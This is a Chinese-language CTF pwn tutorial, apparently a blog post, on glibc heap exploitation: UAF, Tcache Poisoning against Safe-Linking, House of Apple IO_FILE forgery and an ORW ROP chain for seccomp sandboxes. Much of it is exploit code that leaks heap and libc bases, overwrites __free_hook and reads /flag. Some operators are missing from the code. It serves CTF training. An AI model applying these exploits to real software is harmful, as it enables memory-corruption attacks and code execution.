写在前面在上一篇中我们攻克了栈保护与堆指针加密。今天我们将深入探讨CTF堆题的“黄金组合”——Use-After-Free (UAF) 与 Tcache Poisoning。在glibc 2.32引入Safe-Linking后传统的Tcache攻击方式失效但结合UAF漏洞我们仍能实现高版本下的任意地址写进而劫持控制流。这是2022年后CTF赛事中的高频考点掌握它你就掌握了现代堆题的命脉。 目录UAF漏洞本质与利用范式Tcache机制演进与Safe-Linking破解UAF Tcache Poisoning实战流程沙箱环境下的ORW组合利用综合案例从UAF到Getshell的完整链总结与下篇预告1. UAF漏洞本质与利用范式Use-After-FreeUAF漏洞的核心在于程序释放了一块内存但未将指向该内存的指针置空导致该指针成为悬空指针。当这块被释放的内存被重新分配并填充攻击者控制的数据时通过悬空指针使用该内存会导致攻击者控制的数据被当作合法数据结构使用zhihu.com。1.1 UAF利用三要素利用UAF漏洞需要满足三个条件要素说明实战获取方式悬空指针指向已释放内存的指针程序释放后未清空指针重新分配释放的内存被重新分配回来通过malloc分配相同大小的chunk内容可控新分配的内存内容可被攻击者控制通过strcpy、read等函数写入数据1.2 UAF利用基本范式分配内存释放内存指针未置空重新分配相同大小内存内容可控通过悬空指针使用该内存触发漏洞控制流劫持/信息泄露1.3 从UAF到任意地址写在glibc 2.32环境下UAF利用的核心目标是实现Tcache Poisoning即污染Tcache链表使malloc返回攻击者指定的地址。这需要结合Safe-Linking机制的破解来实现butian.net1。2. Tcache机制演进与Safe-Linking破解2.1 Tcache基础回顾TcacheThread Local Caching是glibc 2.26引入的线程本地缓存机制用于提高小内存分配效率。每个线程维护一个tcache_perthread_struct结构包含64个Tcache bin每个bin最多存放7个chunkcnblogs.com。typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个bin当前chunk数量 tcache_entry *entries[TCACHE_MAX_BINS]; // 每个bin的链表头 } tcache_perthread_struct;2.2 Safe-Linking机制glibc 2.32引入Safe-Linking机制对Tcache链表中的next指针进行加密encrypted_fd (chunk_addr 12) ^ next_chunk_addr加密原理chunk_addr 12堆地址的页内偏移堆基址对齐到4096字节next_chunk_addr下一个chunk的地址解密时next_chunk_addr (chunk_addr 12) ^ encrypted_fd2.3 Safe-Linking破解策略要实现Tcache Poisoning必须获取堆基址并计算正确的加密密钥。常见泄露方式包括UAF泄露通过UAF读取Tcache链表尾节点的fd指针当链表只有一个chunk时fd为chunk_addr 12可直接获取堆基址右移12位的值csdn.net1。Unsorted Bin泄露释放大于Tcache范围的chunk其fd/bk指向main_arena88通过UAF读取可获取libc基址cloud.tencent.com。部分覆盖覆盖fd指针的部分字节利用剩余字节猜测或计算堆基址。3. UAF Tcache Poisoning实战流程3.1 利用流程图触发UAF漏洞泄露堆基址fd 12计算加密密钥key chunk_addr 12修改Tcache链表fd指针为加密后的目标地址连续malloc两次第一次取出原chunk第二次获取目标地址在目标地址写入数据如__free_hook或_IO_list_all触发函数调用实现控制流劫持3.2 详细利用步骤第一步泄露堆基址# 释放一个chunk进入Tcache delete(0) # 通过UAF读取fd指针Safe-Linking加密后 show(0) # 假设show功能可以读取已释放chunk的内容 leaked_fd u64(p.recv(5).ljust(8, b\x00)) heap_base leaked_fd 12 # 右移12位得到堆基址第二步计算加密密钥# 已知当前chunk地址可通过UAF泄露或计算 current_chunk_addr heap_base offset # offset为chunk相对于堆基址的偏移 key current_chunk_addr 12第三步构造Tcache Poisoning# 目标地址例如__free_hook或_IO_list_all target_addr libc_base libc.symbols[__free_hook] # glibc ≤ 2.33 # target_addr libc_base libc.symbols[_IO_list_all] # glibc ≥ 2.34 # 加密目标地址 encrypted_target key ^ target_addr # 通过UAF修改Tcache链表fd指针 edit(0, p64(encrypted_target))第四步获取目标地址内存# 第一次malloc取出原Tcache链表头 add(0x20, dummy) # size需与Tcache bin匹配 # 第二次malloc获取目标地址内存 add(0x20, p64(system_addr)) # 写入system函数地址3.3 不同glibc版本下的目标选择glibc版本可用目标利用方式2.23 - 2.33__malloc_hook,__free_hook,__realloc_hook覆写为system或one_gadget2.34_IO_list_all,_IO_2_1_stdout_,_IO_2_1_stderr_结合House of Apple伪造IO_FILE结构体4. 沙箱环境下的ORW组合利用当题目开启Seccomp沙箱禁用execve时传统的system(/bin/sh)失效需要采用ORWOpen-Read-Write技术读取flag文件aliyun.com1。4.1 ORW基本原理ORW通过调用open、read、write三个系统函数实现文件读取fd open(/flag, 0); // 系统调用号2 read(fd, buf, 0x100); // 系统调用号0 write(1, buf, 0x100); // 系统调用号14.2 ROP链构造在64位系统中需要控制以下寄存器寄存器用途常用Gadgetrdi第一个参数文件路径/fdpop rdi; retrsi第二个参数标志/缓冲区pop rsi; retrdx第三个参数长度pop rdx; ret或__libc_csu_initrax系统调用号pop rax; retsyscall系统调用指令syscall; ret4.3 ORW ROP链模板# 假设已泄露libc基址和堆基址 pop_rdi libc_base 0x0000000000021112 # pop rdi; ret pop_rsi libc_base 0x00000000000202f8 # pop rsi; ret pop_rdx libc_base 0x00000000001b96 # pop rdx; ret pop_rax libc_base 0x000000000003a738 # pop rax; ret syscall libc_base 0x00000000000630a9 # syscall; ret # open(/flag, 0) rop b/flag\x00\x00\x00 # 字符串存放在bss段或堆上 rop p64(pop_rdi) p64(flag_str_addr) rop p64(pop_rsi) p64(0) # O_RDONLY rop p64(pop_rax) p64(2) # sys_open rop p64(syscall) # read(3, buf, 0x100) rop p64(pop_rdi) p64(3) # fd3 rop p64(pop_rsi) p64(buf_addr) # 缓冲区地址 rop p64(pop_rdx) p64(0x100) rop p64(pop_rax) p64(0) # sys_read rop p64(syscall) # write(1, buf, 0x100) rop p64(pop_rdi) p64(1) # fd1 (stdout) rop p64(pop_rsi) p64(buf_addr) rop p64(pop_rdx) p64(0x100) rop p64(pop_rax) p64(1) # sys_write rop p64(syscall)4.4 ORW与UAF的结合在沙箱环境下UAF Tcache Poisoning的目标变为劫持_IO_list_all或stdout通过伪造IO_FILE结构体实现栈迁移将ROP链布置到堆上或bss段idocdown.com。5. 综合案例从UAF到Getshell的完整链5.1 题目背景以2022年某CTF赛事的pwn题为例漏洞UAF保护NX, PIE, Full RELRO, Seccomp禁用execveglibc版本2.345.2 利用流程第一步泄露堆基址和libc基址# 分配并释放多个chunk填满Tcache for i in range(8): add(0x80, a * 0x80) for i in range(7): delete(i) # 通过UAF泄露堆基址 show(7) # 读取Tcache链表尾节点的fd heap_base u64(p.recv(5).ljust(8, b\x00)) 12 # 通过Unsorted Bin泄露libc基址 delete(7) # 进入Unsorted Bin show(7) # 读取fd/bk指针 libc_base u64(p.recvuntil(\x7f)[-6:].ljust(8, b\x00)) - libc.symbols[main_arena] - 96第二步Tcache Poisoning劫持_IO_list_all# 计算目标地址 _IO_list_all libc_base libc.symbols[_IO_list_all] # 计算加密密钥 key heap_base 12 # 简化示例实际需计算具体chunk地址 # 构造伪造的IO_FILE结构体 fake_io_file b fake_io_file p64(0xfbad1800) # _flags fake_io_file p64(0) # _IO_read_ptr # ... 其他字段省略 ... fake_io_file p64(heap_base 0x1000) # _wide_data指向可控区域 # ... 布置House of Apple所需数据 ... # 通过UAF修改Tcache链表fd edit(0, p64(key ^ _IO_list_all)) # 分配两次获取_IO_list_all内存 add(0x80, a * 0x80) # 取出原chunk add(0x80, fake_io_file) # 写入伪造结构体第三步触发IO流刷新执行ROP# 触发exit或_IO_flush_all_lockp # 伪造的IO_FILE结构体中vtable指向可控区域 # 通过House of Apple链最终调用布置在堆上的ORW ROP链5.3 完整利用链UAF漏洞泄露堆基址和libc基址Tcache Poisoning劫持_IO_list_all伪造IO_FILE结构体布置House of Apple链触发IO流刷新执行ORW ROP链open读取flag文件write打印到屏幕获取flag6. 总结与下篇预告6.1 核心知识点总结UAF是核心UAF漏洞是现代堆题的基础通过悬空指针实现内存重复使用。Safe-Linking破解利用UAF泄露堆基址右移12位的值计算正确的加密密钥。Tcache Poisoning修改Tcache链表fd指针为加密后的目标地址实现任意地址分配。版本适配glibc 2.34需结合IO_FILE伪造House of Apple低版本可直接覆写hook。ORW组合沙箱环境下通过ROP链实现文件读取需控制4个关键寄存器。6.2 下篇预告在下一篇中我们将挑战多漏洞叠加的综合利用格式化字符串 UAF ORW三种漏洞的组合利用策略无符号漏洞 heap组合在没有符号表的情况下如何定位函数和布局堆风水纯ROP ORW无堆漏洞时通过ROP实现ORW读取flagloop型fmt综合题循环格式化字符串漏洞的高级利用技巧结语UAF与Tcache Poisoning的组合是现代CTF堆题的核心技术。掌握Safe-Linking破解方法理解从信息泄露到控制流劫持的完整流程你就能在高版本glibc的堆题中游刃有余。沙箱不是终点而是ORW技术的起点当你能将堆漏洞与ORW ROP链完美结合时就能攻克2022年后的绝大多数堆题。